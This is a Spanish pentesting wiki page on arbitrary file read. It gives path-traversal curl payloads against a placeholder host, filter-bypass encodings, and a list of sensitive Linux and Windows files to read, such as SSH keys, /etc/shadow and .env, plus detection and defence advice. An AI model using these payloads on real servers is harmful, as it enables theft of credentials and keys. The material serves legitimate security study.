the_open_door
café
ESEN
← Volver al índice

Arbitrary File Read

Arsenal completo de comandos en la cheatsheet

La lectura arbitraria de ficheros es cualquier fallo que permite leer archivos del servidor fuera de lo previsto. No es una técnica concreta sino una clase: path traversal, una API que devuelve la ruta que le pidas, un XXE, un SSRF a file:// o una función de descarga sin validar. El premio son configuraciones, código, /etc/passwd, claves SSH o tokens, casi siempre el puente hacia credenciales o RCE.

Por qué funciona. La aplicación construye una ruta con datos del usuario y no la canonicaliza ni la restringe a un directorio. Basta con salir de la carpeta prevista (../../), pasar una ruta absoluta o abusar de un parámetro "nombre de fichero" para que el proceso lea con SUS permisos cualquier cosa que pueda abrir. Como no ejecuta código, muchos lo infravaloran, pero leer el fichero correcto suele bastar.

El abuso. Se apunta la primitiva de lectura a rutas sensibles conocidas.

# path traversal clasico en un parametro de descarga/plantilla
curl 'http://<ip>/download?file=../../../../etc/passwd'
# ruta absoluta si el parametro no la filtra
curl 'http://<ip>/api/report?path=/home/<user>/.ssh/id_rsa'

Cuando hay filtro de ../. Si la aplicación quita o bloquea ../, casi siempre lo hace de forma ingenua y se salta con una codificación equivalente o con una secuencia que sobrevive al saneo.

curl 'http://<ip>/download?file=..%2f..%2f..%2f..%2fetc%2fpasswd'        # URL-encode de la barra
curl 'http://<ip>/download?file=..%252f..%252f..%252fetc%252fpasswd'     # doble URL-encode
curl 'http://<ip>/download?file=....//....//....//etc/passwd'            # ../ recompuesto tras un strip no recursivo
curl 'http://<ip>/download?file=..%c0%af..%c0%afetc%c0%afpasswd'         # overlong UTF-8 de "/"
curl 'http://<ip>/download?file=/var/www/html/../../../etc/passwd'       # prefijo absoluto valido + salida
curl 'http://<ip>/download?file=../../../../etc/passwd%00.png'           # null byte si exige extension ([[null-byte-bypass|null byte]])

Objetivos que leer. El valor está en saber qué pedir. En Linux, credenciales y claves; en Windows, configuración de IIS y ficheros de despliegue. Y /proc delata al propio proceso (variables de entorno con secretos, línea de comandos).

# Linux
/etc/passwd  /etc/shadow  /etc/hosts  /root/.bash_history
/home/<user>/.ssh/id_rsa  /root/.ssh/id_rsa  /home/<user>/.git-credentials
/var/www/html/config.php  /var/www/html/.env  /var/www/html/wp-config.php
/proc/self/environ  /proc/self/cmdline                 # secretos pasados por entorno/argumentos
# Windows
C:\Windows\win.ini  C:\Windows\System32\drivers\etc\hosts
C:\inetpub\wwwroot\web.config  C:\Windows\Panther\Unattend.xml
C:\Users\<user>\.ssh\id_rsa  C:\xampp\phpMyAdmin\config.inc.php

Si la primitiva sirve texto plano pero no PHP, un php://filter devuelve el código fuente en base64 en vez de ejecutarlo, técnica de la familia de la inclusión/traversal de ficheros.

Requisitos. Una primitiva de lectura (parámetro, endpoint, XXE, SSRF) que alcance rutas sensibles y un proceso con permisos para leerlas. Su alcance depende del usuario que corre el servicio.

Cómo detectarlo. El patrón son peticiones con secuencias de salida de directorio (../, codificaciones %2e%2e%2f, ....//) o rutas absolutas hacia ficheros del sistema, y respuestas que devuelven contenido de configuración o claves. En los logs, descargas de /etc/passwd, id_rsa o ficheros de configuración por endpoints que deberían servir solo datos acotados.

Defensa. Canonicalizar la ruta y comprobar que queda dentro de un directorio permitido (allowlist), no pasar rutas del usuario al sistema de ficheros, ejecutar con mínimo privilegio y añadir un WAF. Es la familia de la inclusión/traversal de ficheros y de la traversal de GlassFish; suele desembocar en credenciales en el código.

HerramientasXXEinjectorphp_filter_chain_generator

Máquinas donde se aplica